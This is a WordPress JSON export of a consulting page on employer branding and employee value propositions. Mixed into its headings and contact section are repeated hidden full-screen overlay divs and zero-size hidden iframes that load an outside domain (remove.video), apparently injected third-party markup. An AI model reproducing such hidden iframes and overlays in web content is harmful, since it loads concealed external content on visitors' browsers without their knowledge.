{"id":4724,"date":"2021-01-17T12:22:16","date_gmt":"2021-01-17T11:22:16","guid":{"rendered":"https:\/\/armintrost.de\/\/?page_id=4724"},"modified":"2021-04-20T18:31:40","modified_gmt":"2021-04-20T16:31:40","slug":"employer-branding","status":"publish","type":"page","link":"https:\/\/armintrost.de\/en\/consultant\/employer-branding\/","title":{"rendered":"CONSULTING Employer Branding"},"content":{"rendered":"<h1>Developing and Implementing an effective Employee Value Proposition<\/h1>\n<p>\n    <a href=\"\/en\/consultant\"><\/a>\n<\/p>\n<div>\n<p>You actually might have a lot to offer as an employer. Your employees are happy, but somehow no one out there really notices that fact. Your external image does not convey the right message. Good candidates only recognize you as an attractive employer when they have set foot across your threshold. If this is the case, you probably have a real problem in talent acquisition.<\/p>\n<\/div>\n<h1>I see myself as an Employer Whisperer<\/p>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<\/h1>\n<div>\n<p>I use various methods to gain a deep insight into the special qualities of your company or individual company divisions. I see myself as an employer whisperer, with a very deep understanding of what is special about your company. Then, I develop a powerful employee value proposition and together we clarify the further procedure for implementation.<\/p>\n<\/div>\n<div>\n<h4>Let us talk about your challenges without obligation.<br \/>Then we will see how and whether it could go further<\/h4>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<\/div>\n<p>\n    <a href=\"\/en\/contact\">Let&#8217;s talk<\/a>\n<\/p>\n<p><!-- {\"name\":\"Vortragsthemen_Unterseite\",\"type\":\"layout\",\"children\":[{\"type\":\"section\",\"props\":{\"style\":\"default\",\"width\":\"\",\"vertical_align\":\"middle\",\"title_position\":\"top-left\",\"title_rotation\":\"left\",\"title_breakpoint\":\"xl\",\"image_position\":\"center-center\"},\"children\":[{\"type\":\"row\",\"props\":{\"width\":\"default\",\"layout\":\"3-4,1-4\",\"row_gap\":\"large\",\"margin\":\"large\"},\"children\":[{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"media_overlay_gradient\":\"\",\"width_medium\":\"3-4\"},\"children\":[{\"type\":\"headline\",\"props\":{\"title_element\":\"h1\",\"title_style\":\"h1\",\"maxwidth\":\"2xlarge\",\"margin\":\"small\",\"maxwidth_breakpoint\":\"m\",\"content\":\"Developing and Implementing an effective Employee Value Proposition\"}}]},{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"media_overlay_gradient\":\"\",\"width_medium\":\"1-4\"},\"children\":[{\"type\":\"button\",\"props\":{\"grid_column_gap\":\"small\",\"grid_row_gap\":\"small\",\"margin\":\"default\",\"button_size\":\"large\",\"text_align\":\"right\"},\"children\":[{\"type\":\"button_item\",\"props\":{\"button_style\":\"link-text\",\"icon_align\":\"left\",\"link\":\"en\\\/consultant\\\/\",\"icon\":\"close\"}}],\"name\":\"Close_Button\"}]}]},{\"type\":\"row\",\"props\":{\"width\":\"xlarge\",\"layout\":\"1-5,3-5,1-5\",\"column_gap\":\"collapse\",\"margin\":\"large\"},\"children\":[{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"media_overlay_gradient\":\"\",\"width_medium\":\"1-5\"},\"children\":[]},{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"media_overlay_gradient\":\"\",\"width_medium\":\"3-5\"},\"children\":[{\"type\":\"text\",\"props\":{\"margin\":\"default\",\"column_breakpoint\":\"m\",\"content\":\"\n\n<p>You actually might have a lot to offer as an employer. Your employees are happy, but somehow no one out there really notices that fact. Your external image does not convey the right message. Good candidates only recognize you as an attractive employer when they have set foot across your threshold. If this is the case, you probably have a real problem in talent acquisition.<\\\/p>\",\"dropcap\":false}},{\"type\":\"headline\",\"props\":{\"title_element\":\"h1\",\"title_style\":\"h3\",\"content\":\"I see myself as an Employer Whisperer<br \\\/>\\n\n\n<div>\\n\n\n<div id=\\\"whitelisted\\\" style=\\\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\\\"><iframe style=\\\"width: 0; height: 0; display: none;\\\" src=\\\"\\\/\\\/remove.video\\\/pblock\\\"><\\\/iframe><\\\/div>\\n<\\\/div>\\n\n\n<div>\\n\n\n<div id=\\\"whitelisted\\\" style=\\\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\\\"><iframe style=\\\"width: 0; height: 0; display: none;\\\" src=\\\"\\\/\\\/remove.video\\\/pblock\\\"><\\\/iframe><\\\/div>\\n<\\\/div>\\n\n\n<div>\\n\n\n<div id=\\\"whitelisted\\\" style=\\\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\\\"><iframe style=\\\"width: 0; height: 0; display: none;\\\" src=\\\"\\\/\\\/remove.video\\\/pblock\\\"><\\\/iframe><\\\/div>\\n<\\\/div>\"}},{\"type\":\"text\",\"props\":{\"margin\":\"default\",\"column_breakpoint\":\"m\",\"content\":\"\n\n<p>I use various methods to gain a deep insight into the special qualities of your company or individual company divisions. I see myself as an employer whisperer, with a very deep understanding of what is special about your company. Then, I develop a powerful employee value proposition and together we clarify the further procedure for implementation.<\\\/p>\"}}]},{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"media_overlay_gradient\":\"\",\"width_medium\":\"1-5\"},\"children\":[]}]}],\"name\":\"Produkte\\\/Vortragsthemen\"},{\"type\":\"section\",\"props\":{\"style\":\"muted\",\"width\":\"default\",\"vertical_align\":\"middle\",\"title_position\":\"top-left\",\"title_rotation\":\"left\",\"title_breakpoint\":\"xl\",\"image_position\":\"center-center\"},\"children\":[{\"type\":\"row\",\"children\":[{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"media_overlay_gradient\":\"\"},\"children\":[{\"type\":\"text\",\"props\":{\"margin\":\"default\",\"column_breakpoint\":\"m\",\"content\":\"\n\n<h4>Let us talk about your challenges without obligation.<br \\\/>Then we will see how and whether it could go further<\\\/h4>\\n\n\n<div>\\n\n\n<div id=\\\"whitelisted\\\" style=\\\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\\\"><iframe style=\\\"width: 0; height: 0; display: none;\\\" src=\\\"\\\/\\\/remove.video\\\/pblock\\\"><\\\/iframe><\\\/div>\\n<\\\/div>\\n\n\n<div>\\n\n\n<div id=\\\"whitelisted\\\" style=\\\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\\\"><iframe style=\\\"width: 0; height: 0; display: none;\\\" src=\\\"\\\/\\\/remove.video\\\/pblock\\\"><\\\/iframe><\\\/div>\\n<\\\/div>\",\"text_align\":\"center\"}},{\"type\":\"button\",\"props\":{\"grid_column_gap\":\"\",\"grid_row_gap\":\"\",\"margin\":\"default\",\"text_align\":\"center\"},\"children\":[{\"type\":\"button_item\",\"props\":{\"button_style\":\"default\",\"icon_align\":\"left\",\"content\":\"Let's talk\",\"link\":\"en\\\/contact\\\/\"}}],\"name\":\"CTA_Anfrage_Starten\"}]}]}]}],\"version\":\"2.1.2\"} --><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Developing and Implementing an effective Employee Value Proposition You actually might have a lot to offer as an employer. Your employees are happy, but somehow no one out there really notices that fact. Your external image does not convey the right message. Good candidates only recognize you as an attractive employer when they have set [&hellip;]<\/p>\n","protected":false},"author":7,"featured_media":3200,"parent":4710,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-4724","page","type-page","status-publish","has-post-thumbnail","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.3 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>ARMIN TROST | CONSULTING | EMPLOYER BRANDING<\/title>\n<meta name=\"description\" content=\"I will assist you in understanding your attractive employer qualities and how to communicate them effectively as part of your employer branding.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/armintrost.de\/en\/consultant\/employer-branding\/\" \/>\n<meta property=\"og:locale\" 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